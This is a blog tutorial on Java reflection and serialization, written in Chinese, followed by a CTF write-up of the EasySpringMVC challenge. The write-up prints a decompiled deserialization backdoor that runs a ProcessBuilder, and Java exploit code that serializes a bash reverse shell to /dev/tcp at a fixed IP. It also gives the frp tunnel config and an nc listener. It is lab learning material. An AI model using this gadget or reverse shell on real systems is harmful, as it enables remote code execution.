Java序列化反序列化基础


阅读数: 次   

序列化反序列化介绍

师兄文章地址

反序列化类对象时有如下限制：

  1. 被反序列化的类必须存在。
  2. serialVersionUID值必须一致。

反序列化类对象是不会调用该类构造方法 需要创建一个反序列化专用的 Constructor(反射构造方法对象)

JAVA 反射机制

java反射定义

Java反射(Reflection)是Java非常重要的动态特性，通过使用反射我们不仅可以获取到任何类的成员方法(Methods)、成员变量(Fields)、构造方法(Constructors)等信息，还可以动态创建Java类实例、调用任意的类方法、修改任意的类成员变量值等。

java反射实现

  1. 获取 Class 对象
  2. 利用类对象创建对象
  3. 反射调用类方式
  4. 反射调用成员变量
  5. 利用反射执行代码
1. 获取 Class 对象
  1. 类名.class
  2. Class.forName(Class_name_String)。
  3. classLoader.loadClass(Class_name_String);

代码测试

定义一个 User.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package Test;

public class User {
    public String name;
    public User(String name){
        this.name = name;
    }
    public void setName(String name){
        this.name = name;
    }
    public String getName(){
        return this.name;
    }

}

定义一个调用类 Getclass.class

1
2
3
4
5
6
7
8
9
10
11
package Test;

public class Getclass {
    public static void main(String[] args) throws Exception{
        System.out.println(Test.User.class);
        System.out.println(Class.forName("Test.User"));
        System.out.println(ClassLoader.getSystemClassLoader().loadClass("Test.User"));
        System.out.println(new User().getClass().toString());
    }
}

运行 Getclass 的结果 得到对应的 class 对象

image-20200916000614188
2. 利用类对象创建对象

获得构造函数的方法

方法 说明
getConstructor(Class…<?> parameterTypes) 获得该类中与参数类型匹配的公有构造方法
getConstructors() 获得该类的所有公有构造方法
getDeclaredConstructor(Class…<?> parameterTypes) 获得该类中与参数类型匹配的构造方法
getDeclaredConstructors() 获得该类所有构造方法

当我们得到一个 类对象后。我们不能直接 new 出来新对象。我们需要 getConstructor() , getDeclaredConstructor()函数来得到这个类对象的 构造方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package Test;

import java.lang.reflect.Constructor;

public class createObject {
    public static void main(String[] args) throws Exception {
        // 先得到 类对象
        Class UserClass=Class.forName("Test.User");
        // 通过 getConstructoer(String.class) 函数得到 这个类对象 本身的参数为 StrIng 的构造方法。
        Constructor constructor=UserClass.getConstructor(String.class);
        // 利用这个 构造方法 new 一个新的 名字为 0xc4m3l 的类对象
        User user=(User) constructor.newInstance("0xc4k3l");
        System.out.println("CreateObject_Class");
        System.out.println(user.getName());
    }
}

运行结果 已经创建了 新的 对象

image-20200916002307705

对于这个 构造函数 如果这个构造函数 是 private 类型 且我们利用的 是 getDeclaredConstructor() 函数来获得构造函数。这个时候我们要在调用 newInstance 之前修改权限 加一句 constructor.setAccessible(true);

User.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package Test;

public class User {
    public String name;
    private User(String name){  // 私有构造方法
        this.name = name;
    }

    public User() {

    }

    public void setName(String name){
        this.name = name;
    }
    public String getName(){
        return this.name;
    }

}

CreateObject.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package Test;

import java.lang.reflect.Constructor;

public class createObject {
    public static void main(String[] args) throws Exception {
        // 先得到 类对象
        Class UserClass=Class.forName("Test.User");
        // 通过 getConstructoer(String.class) 函数得到 这个类对象 本身的参数为 StrIng 的构造方法。
        Constructor constructor=UserClass.getDeclaredConstructor(String.class);
        //constructor.setAccessible(true);
        // 利用这个 构造方法 new 一个新的 名字为 0xc4m3l 的类对象
        User user=(User) constructor.newInstance("0xc4k3l");

        System.out.println("CreateObject_Class");
        System.out.println(user.getName());
    }
}

没有 constructor.setAccessible(true); 函数的时候

image-20200916002932822

使用 constructor.setAccessible(true); 函数的时候

image-20200916003007514
3. 反射调用类方法

我们要 调用我们得到的 类的方法要用到

方法 说明
getMethod(String name, Class…<?> parameterTypes) 获得该类某个公有的方法
getMethods() 获得该类所有公有的方法
getDeclaredMethod(String name, Class…<?> parameterTypes) 获得该类某个方法
getDeclaredMethods() 获得该类所有方法liy

利用我们得到我 Class 类对象，再利用 上面的函数方法得到对应的 函数方法。

实现函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package Test;

import java.lang.reflect.Constructor;
import java.lang.reflect.Method;

public class createObject {
    public static void main(String[] args) throws Exception {
        // 先得到 类对象
        Class UserClass=Class.forName("Test.User");

        // 获取 类对象创建类对象
        // 通过 getConstructoer(String.class) 函数得到 这个类对象 本身的参数为 StrIng 的构造方法。
        Constructor constructor=UserClass.getDeclaredConstructor(String.class);
        constructor.setAccessible(true);
        // 利用这个 构造方法 new 一个新的 名字为 0xc4m3l 的类对象
        User user=(User) constructor.newInstance("0xc4k3l");

        System.out.println("CreateObject_Class: ");
        System.out.println(user.getName());
        System.out.println("____________________________");

        // 获得类的方法函数
        Method method = UserClass.getDeclaredMethod("setName", String.class);
        // 利用 invoke 函数调用我们创建的 user 对象的 setName 方法
        method.invoke(user,"骆驼");

        System.out.println("Reflection call function： ");
        System.out.println(user.getName());
        System.out.println("____________________________");
    }
}

实现

image-20200916101916298
4. 反射访问变量

利用到的函数

方法 说明
getField(String name) 获得某个公有的属性对象
getFields() 获得所有公有的属性对象
getDeclaredField(String name) 获得某个属性对
getDeclaredFields() 获得所有属性对象

AccessAttribute.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package Test;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;


public class AccessAttribute {
    public static void main(String[] args) throws Exception {
        // 得到 类对象
        Class UserClass = Class.forName("Test.User");
        // 创建对应的 新类对象
        Constructor constructor=UserClass.getDeclaredConstructor(String.class);
        User user = (User) constructor.newInstance("0xc4m3l");

        System.out.println("初始名字：");
        System.out.println(user.getName());
        // 得到对象的变量。
        Field field=UserClass.getDeclaredField("name");
        field.setAccessible(true);

        field.set(user,"骆驼");
        System.out.println("修改后的名字：");
        System.out.println(user.getName());
    }
}

实现结果

image-20200916104005922
5. 利用反射调用代码

在外面利用 java 利用反射来调用函数时，我们一般会用到 java.lang.Runtime 这个类

因为这个类里面有 一个 exec 函数 可以同个这个函数实现很多功能

RuntimeClass.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package Test;

public class RuntimeClass  {
    public static void main(String[] args) throws Exception {
        // java.lang.Runtime.getRuntime().exec("open -a Calculator.app");
        Class runtimeClass=Class.forName("java.lang.Runtime");

        // getRuntime是静态方法，invoke时不需要传入对象
        Object runtime=runtimeClass.getMethod("getRuntime").invoke(null);

        runtimeClass.getMethod("exec", String.class).invoke(runtime,"open -a Calculator.app");
        System.out.println("执行了 java.lang.Runtime.getRuntime().exec(\"open -a Calculator.app\");");
    }
}

实现

image-20200916105039521

反序列化机制

序列化： 将对象 转化为二进制保存

反序列化：将二进制 转化为 对象

Java 序列化是指把 Java 对象转换为字节序列的过程

ObjectOutputStream类的 writeObject() 方法可以实现序列化

Java 反序列化是指把字节序列恢复为 Java 对象的过程

ObjectInputStream 类的 readObject() 方法用于反序列化。

实现java.io.Serializable接口才可被反序列化，而且所有属性必须是可序列化的

测试

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package sec;

import java.io.*;
import java.util.Arrays;

public class DeserializationTest implements Serializable {
    public static void main(String[] args) throws IOException, ClassNotFoundException {

        // 创建 user 类
        User user = new User();
        user.setName("0xc4m3l");

        // 创建 java 对象序列化输出的流对象
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(baos);

        // 进行序列化
        out.writeObject(user);
        out.flush();
        out.close();
        // 输出序列化后的值
        System.out.println("序列化后的值: "+ Arrays.toString(baos.toByteArray()));

        // 创建 java 反序列化输入流对象
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream in = new ObjectInputStream(bais);

        // 进行反序列化
        User reuser = (User) in.readObject();
        System.out.println("反序列化后的值： "+reuser.getClass());


    }
}

结果

image-20200916145033376

在利用 JAVA 反序列化的时候。我们通过利用 反序列化+反射调用 来实现 getshell 或者调用其他函数。

通过CTF 学习 JAVA 反序列

[V&N2020 公开赛]EasySpringMVC（java反序列化）

给了一个 war 文件包，改后缀为 zip 解压得到文件夹。

利用 IDEA 查看 class 文件中的代码。

找到关键的 readObject

Tool.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//

package com.tools;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;

public class Tools implements Serializable {
    private static final long serialVersionUID = 1L;
    private String testCall;

    public Tools() {
    }

    public static Object parse(byte[] bytes) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));
        return ois.readObject();
    }

    public static byte[] create(Object obj) throws Exception {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream outputStream = new ObjectOutputStream(bos);
        outputStream.writeObject(obj);
        return bos.toByteArray();
    }

    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        Object obj = in.readObject();
        (new ProcessBuilder((String[])((String[])obj))).start();
    }
}

在 Tool.class 中的 parse 函数中有一处 反序列化操作。

1
2
3
4
5
6
7
8
public static Object parse(byte[] bytes) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));
        return ois.readObject();
    }
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        Object obj = in.readObject();
        (new ProcessBuilder((String[])((String[])obj))).start();
    }

这里是对我们传入的 bytes 进行一个反序列化

而且在我们反序列化后对其对象直接进行了 .start() 函数 –> 这就是一个后门 不用够着 反射调用，可以直接利用 反序列化执行。

所以可以直接够着 弹shell 的函数。

然后我们发现 Tool.parse 是在 ClentInfoFilter.class 中被调用了

1
2
3
4
5
6
7
if (!b64.equals("") && bytes != null) {
  try {
    cinfo = (ClientInfo)Tools.parse(bytes);
  } catch (Exception var14) {
    var14.printStackTrace();
  }
}

这个 bytes 对应的应该 decode base64 之后的 cookies 的值。然后调用了

Tools.parse 对其进行反序列化。然后在 readObject 函数里面进行调用

所以我们自己重写 Tools.class 让他序列化 一个 反弹shell 的payload

这样我们就能在 反序列化后 直接调用得到 shell

Main.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package com.tools;

import java.io.*;
import java.util.Base64;
import com.tools.*;
public class Main {
    public static void main(String[] args) {
        Base64.Encoder encoder = Base64.getEncoder();
        try {
            Tools cinfo = new Tools();
            byte[] bytes = Tools.create(cinfo);
            String payload = encoder.encodeToString(bytes);
            System.out.println(payload);
        } catch (Exception e) {
            e.printStackTrace();
        }

    }
}

Tools.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package com.tools;

import java.io.*;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Tools implements Serializable {
    private static final long serialVersionUID = 1L;

    public static Object parse(byte[] bytes) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));
        return ois.readObject();
    }
    private String testCall;
    public static byte[] create(Object obj) throws Exception {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream outputStream = new ObjectOutputStream(bos);
        outputStream.writeObject(obj);
        return bos.toByteArray();
    }

    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        Object obj = in.readObject();
        (new ProcessBuilder((String[])obj)).start();
    }
    private void writeObject(ObjectOutputStream out) throws IOException,ClassNotFoundException{
        String command[]={"bash","-c","bash -i>& /dev/tcp/174.1.45.204/1234 0>&1"};
        out.writeObject(command);
    }
}

buu 靶场只能访问内网

配置 frp 然后利用 ssh链接 linux Labs 然后shell反弹到 对应内网靶机

配置 frpc.ini

1
2
3
4
5
6
7
8
9
[common]
server_addr = node3.buuoj.cn
server_port = 7000

[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 6000
remote_port = 6000

然后 运行 frp

1
./frpc -c ./frpc.ini

然后可以进行 ssh 链接linux labs靶机

image-20200922095701727

然后我们就能 ifconfig 查看 内网ip 写payload

1
2
ifconfig # 查看内网ip
nc -lvvp 1234  # 监听本地 1234 端口

bp 抓包

修改 cinfo 然后 go

image-20200921175738939

得到 反弹shell

image-20200921175842608

在Java 反序列化中，我们需要让 对应的 package 包路径相同，比如这个文件路径为 com.tools 所以我们创建一样的 目录。

赏

谢谢你请我吃糖果

扫一扫，分享到微信

微信分享二维码

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

很惭愧<br><br>只做了一点微小的工作<br>谢谢大家